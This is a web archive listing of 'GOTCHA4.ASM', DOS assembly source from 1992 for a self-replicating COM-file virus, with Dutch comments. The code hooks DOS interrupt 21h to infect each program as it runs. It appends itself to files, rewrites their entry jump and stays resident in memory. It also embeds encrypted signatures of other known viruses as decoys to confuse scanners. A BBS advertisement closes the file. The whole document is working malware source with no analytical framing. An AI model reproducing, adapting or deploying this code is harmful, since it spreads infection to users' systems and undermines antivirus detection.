home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GOTCHA4.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  13KB  |  398 lines
  1. ;****************************************************************************
  2. ;*              stripped COM-versie
  3. ;*              met signature's
  4. ;*
  5. ;****************************************************************************
  6.  
  7. cseg            segment
  8.                 assume  cs:cseg,ds:cseg,es:nothing
  9.  
  10.                 org     100h
  11.  
  12. SIGNLEN         equ     signend - signature
  13. FILELEN         equ     eind - begin
  14. RESPAR          equ     (FILELEN/16) + 17
  15. BUFLEN          equ     08h
  16. VERSION         equ     4
  17.  
  18.                 .RADIX  16
  19.  
  20.  
  21. ;****************************************************************************
  22. ;*              Opstart programma
  23. ;****************************************************************************
  24.  
  25. begin:          xor     bx,bx
  26.                 mov     cl,07h
  27. crloop:         call    crypt
  28.                 loop    crloop
  29.                 call    install
  30.                 int     20
  31.  
  32.  
  33. ;****************************************************************************
  34. ;*              Data
  35. ;****************************************************************************
  36.  
  37. buffer          db      BUFLEN dup (?)
  38. oi21            dw      ?,?
  39. oldlen          dw      ?
  40. handle          dw      ?
  41. sign            db      0
  42.  
  43.  
  44. ;****************************************************************************
  45. ;*              Interupt handler 21
  46. ;****************************************************************************
  47.  
  48. ni21:           pushf
  49.  
  50.                 cmp     ax,4B00h
  51.                 jne     ni_verder
  52.  
  53.                 push    es
  54.                 push    ds
  55.                 push    ax
  56.                 push    bx
  57.                 push    cx
  58.                 push    dx
  59.  
  60.                 call    attach
  61.  
  62.                 mov     cl,[sign]
  63.                 call    crypt
  64.                 inc     cl
  65.                 and     cl,07h
  66.                 mov     [sign],cl
  67.                 call    crypt
  68.  
  69.                 pop     dx
  70.                 pop     cx
  71.                 pop     bx
  72.                 pop     ax
  73.                 pop     ds
  74.                 pop     es
  75.  
  76. exit:           popf
  77.                 jmp     dword ptr cs:[oi21]     ;naar oude int-handler
  78.  
  79. ni_verder:      cmp     ax,0DADAh
  80.                 jne     exit
  81.                 mov     ax,0A500h+VERSION
  82.                 popf
  83.                 iret
  84.  
  85.  
  86. ;****************************************************************************
  87. ;*              plakt programma aan file (ASCIIZ  DS:DX)
  88. ;****************************************************************************
  89.  
  90. attach:         cld
  91.  
  92.                 mov     ax,3D02h                ;open de file
  93.                 int     21
  94.                 jc      finnish
  95.  
  96.                 push    cs
  97.                 pop     ds
  98.                 mov     [handle],ax             ;bewaar file-handle
  99.  
  100.                 call    eindptr                 ;bepaal lengte
  101.                 jc      finnish
  102.                 mov     [oldlen],ax
  103.  
  104.                 sub     ax,SIGNLEN              ;pointer naar eind - SIGNLEN
  105.                 sbb     dx,0
  106.                 mov     cx,dx
  107.                 mov     dx,ax
  108.                 mov     al,00h
  109.                 call    ptrmov
  110.                 jc      finnish
  111.  
  112.                 mov     cx,SIGNLEN              ;lees de laatse bytes
  113.                 mov     dx,offset buffer   
  114.                 call    flread
  115.                 jc      finnish
  116.  
  117. verder3:        push    cs                      ;vergelijk signature met buffer
  118.                 pop     es
  119.                 mov     di,offset buffer
  120.                 mov     si,offset signature
  121.                 mov     cx,SIGNLEN
  122.         rep     cmpsb
  123.                 or      cx,cx
  124.                 jz      finnish
  125.  
  126.                 call    beginptr                ;lees begin van file
  127.                 mov     cx,BUFLEN
  128.                 mov     dx,offset buffer
  129.                 call    flread
  130.                 jc      finnish
  131.  
  132.                 cmp     word ptr [buffer],5A4Dh
  133.                 jz      finnish
  134.  
  135.                 call    writeprog               ;schrijf programma naar file
  136.                 jc      finnish
  137.  
  138.                 mov     ax,[oldlen]             ;bereken call-adres
  139.                 add     ax,offset entry
  140.                 sub     ax,0103
  141.                 mov     byte ptr [buffer],0E9h
  142.                 mov     word ptr [buffer+1],ax
  143.  
  144.                 call    beginptr                ;pas begin van file aan
  145.                 mov     cx,BUFLEN
  146.                 mov     dx,offset buffer
  147.                 call    flwrite
  148.                 jc      finnish
  149.  
  150. finnish:        mov     bx,[handle]             ;sluit de file
  151.                 mov     ah,3Eh
  152.                 int     21
  153.  
  154.                 ret
  155.  
  156.  
  157. ;****************************************************************************
  158. ;*              Crypt een signature
  159. ;****************************************************************************
  160.  
  161. crypt:          push    cx
  162.                 mov     al,14h
  163.                 mul     cl
  164.                 add     ax,offset virsig
  165.                 mov     si,ax
  166.                 mov     di,ax
  167.                 push    cs
  168.                 push    cs
  169.                 pop     ds
  170.                 pop     es
  171.                 mov     cx,0Ah
  172. cryploop:       lodsw
  173.                 xor     ax,0FFFFh
  174.                 stosw
  175.                 loop    cryploop
  176.                 pop     cx
  177.                 ret
  178.  
  179.  
  180. ;****************************************************************************
  181. ;*              Schrijf programma naar file
  182. ;****************************************************************************
  183.  
  184. writeprog:      call    eindptr
  185.                 mov     cx,FILELEN
  186.                 mov     dx,offset begin
  187.                 call    flwrite
  188.                 ret
  189.  
  190.  
  191. ;****************************************************************************
  192. ;*              Subroutines voor file-pointer
  193. ;****************************************************************************
  194.  
  195. beginptr:       mov     al,00h                  ;naar begin van de file
  196.                 xor     cx,cx
  197.                 xor     dx,dx
  198.                 jmp     ptrmov
  199.  
  200. eindptr:        mov     al,02h                  ;naar eind van de file
  201.                 xor     cx,cx
  202.                 xor     dx,dx
  203. ;               jmp     ptrmov
  204.  
  205. ptrmov:         mov     ah,42h
  206.                 mov     bx,[handle]
  207.                 int     21
  208.                 ret
  209.  
  210.  
  211. ;****************************************************************************
  212. ;*              Subroutines voor lezen/schrijven
  213. ;****************************************************************************
  214.  
  215. flwrite:        push    cs
  216.                 pop     ds
  217.                 mov     ah,40h
  218.                 mov     bx,[handle]
  219.                 int     21
  220.                 ret
  221.  
  222.  
  223. flread:         push    cs
  224.                 pop     ds
  225.                 mov     ah,3Fh
  226.                 mov     bx,[handle]
  227.                 int     21
  228.                 ret
  229.  
  230.  
  231. ;****************************************************************************
  232. ;*              Activering vanuit file
  233. ;****************************************************************************
  234.  
  235. entry:          call    entry2
  236. entry2:         pop     bx
  237.                 sub     bx,offset entry2        ;CS:BX is begin programma - 100
  238.  
  239.                 cld
  240.  
  241.                 mov     ax,bx                   ;copieer oude begin terug
  242.                 add     ax,offset buffer
  243.                 mov     si,ax
  244.                 mov     di,0100
  245.                 mov     cx,BUFLEN
  246.         rep     movsb
  247.  
  248.                 mov     ax,0100h
  249.                 push    ax
  250.  
  251. entcall:        mov     ax,0DADAh               ;kijk of al geinstalleerd
  252.                 int     21h
  253.                 cmp     ah,0A5h
  254.                 je      entstop
  255.  
  256.                 call    install                 ;installeer het programma
  257.  
  258. entstop:        ret
  259.  
  260.  
  261. ;****************************************************************************
  262. ;*              Installatie in het geheugen
  263. ;****************************************************************************
  264.  
  265. install:        push    ds
  266.                 push    es
  267.  
  268.                 xor     ax,ax                   ;haal oude vector
  269.                 mov     es,ax
  270.                 mov     cx,word ptr es:0084h
  271.                 mov     dx,word ptr es:0086h
  272.                 mov     [bx+offset oi21],cx
  273.                 mov     [bx+offset oi21+2],dx
  274.  
  275.                 mov     ax,ds                   ;pas geheugen-grootte aan
  276.                 dec     ax
  277.                 mov     es,ax
  278.                 cmp     byte ptr es:[0000h],5Ah
  279.                 jnz     cancel
  280.                 mov     ax,es:[0003h]
  281.                 sub     ax,RESPAR
  282.                 jb      cancel
  283.                 mov     es:[0003h],ax
  284.                 sub     es:[0012h], word ptr RESPAR
  285.  
  286.                 mov     es,es:[0012h]           ;copieer programma naar top
  287.                 mov     ax,bx
  288.                 add     ax,0100
  289.                 mov     si,ax
  290.                 mov     di,0100h
  291.                 mov     cx,FILELEN
  292.         rep     movsb
  293.  
  294.                 mov     dx,offset ni21          ;zet nieuwe vector
  295.                 push    es
  296.                 pop     ds
  297.                 mov     ax,2521h
  298.                 int     21h
  299.  
  300. cancel:         pop     es
  301.                 pop     ds
  302.  
  303.                 ret
  304.  
  305.  
  306. ;****************************************************************************
  307. ;*              Tekst en Signature
  308. ;****************************************************************************
  309.  
  310. virsig:
  311. ;SYSLOCK Virus
  312.                 db      0D1h, 0E9h,  8Ah, 0E1h
  313.                 db       8Ah, 0C1h,  33h,  06h
  314.                 db       14h,  00h,  31h,  04h
  315.                 db       46h,  46h, 0E2h, 0F2h
  316.                 db       5Eh,  59h,  58h, 0C3h
  317. ;Sylvia Virus
  318.                 db       8Dh,  36h,  03h,  01h
  319.                 db       33h, 0C9h,  33h, 0C0h
  320.                 db      0ACh,  3Ch,  1Ah,  74h
  321.                 db       04h,  90h,  90h,  90h
  322.                 db       90h,  90h,  90h,  90h
  323. ;DATACRIME IIb Virus
  324.                 db       2Eh,  8Ah,  07h,  32h
  325.                 db      0C2h, 0D0h, 0CAh,  2Eh
  326.                 db       88h,  07h,  43h, 0E2h
  327.                 db      0F3h,  90h,  90h,  90h
  328.                 db       90h,  90h,  90h,  90h
  329. ;Yankee-Go-Home Virus  (Enigma)
  330.                 db      0D8h,  0Eh,  1Fh, 0BEh
  331.                 db       37h,  08h,  81h, 0EEh
  332.                 db       03h,  01h,  03h, 0F3h
  333.                 db       89h,  04h, 0BEh,  39h
  334.                 db       08h,  81h, 0EEh,  03h
  335. ;Slowdown Virus
  336.                 db      0DEh,  90h,  90h,  81h
  337.                 db      0C6h,  1Bh,  00h, 0B9h
  338.                 db       90h,  06h,  2Eh,  80h
  339.                 db       34h,  90h,  90h,  90h
  340.                 db       90h,  90h,  90h,  90h
  341. ;Scotts Valley Virus
  342.                 db       5Eh,  8Bh, 0DEh,  90h
  343.                 db       90h,  81h, 0C6h,  32h
  344.                 db       00h, 0B9h,  12h,  08h
  345.                 db       2Eh,  90h,  90h,  90h
  346.                 db       90h,  90h,  90h,  90h
  347. ;Tiny-2A related Virus
  348.                 db      0A5h,  8Eh, 0C1h, 0A6h
  349.                 db       74h,  12h,  4Eh,  4Fh
  350.                 db      0F3h, 0A5h,  8Eh, 0C1h
  351.                 db       93h,  91h,  91h,  26h
  352.                 db       87h,  85h, 0E0h, 0FEh
  353. ;DATACRIME 1280 Virus
  354.                 db       8Bh,  36h,  01h,  01h
  355.                 db       83h, 0EEh,  03h,  8Bh
  356.                 db      0C6h,  3Dh,  00h,  00h
  357.                 db       75h,  03h, 0E9h,  02h
  358.                 db       01h,  90h,  90h,  90h
  359.  
  360.  
  361. ;;July13 Virus
  362. ;                db      0A0h,  12h,  00h,  34h
  363. ;                db       90h, 0BEh,  12h,  00h
  364. ;                db      0B9h, 0B1h,  04h,  2Eh
  365. ;                db       30h,  04h,  46h, 0E2h
  366. ;                db      0FAh,  90h,  90h,  90h
  367. ;;XA1 Virus (Tannenbaum)
  368. ;virsig:         db      0FAh,  8Bh, 0ECh,  58h
  369. ;                db       32h, 0C0h,  89h,  46h
  370. ;                db       02h,  81h,  46h,  00h
  371. ;                db       28h,  00h,  90h,  90h
  372. ;                db       90h,  90h,  90h,  90h
  373. ;;Twelve Tricks Trojan Dropper
  374. ;                db      0BEh,  64h,  02h,  31h
  375. ;                db       94h,  42h,  01h, 0D1h
  376. ;                db      0C2h,  4Eh,  79h, 0F7h
  377. ;                db       90h,  90h,  90h,  90h
  378. ;                db       90h,  90h,  90h,  90h
  379.  
  380.  
  381.  
  382. signature:      db      'GOTCHA!',0
  383. signend:
  384.  
  385. eind:
  386.  
  387. cseg            ends
  388.                 end     begin
  389.  
  390.  
  391.  
  392. 
  393. ; ─────────────────────────────────────────────────────────────────────────
  394. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  395. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  396. ; ─────────────────────────────────────────────────────────────────────────
  397.  
  398.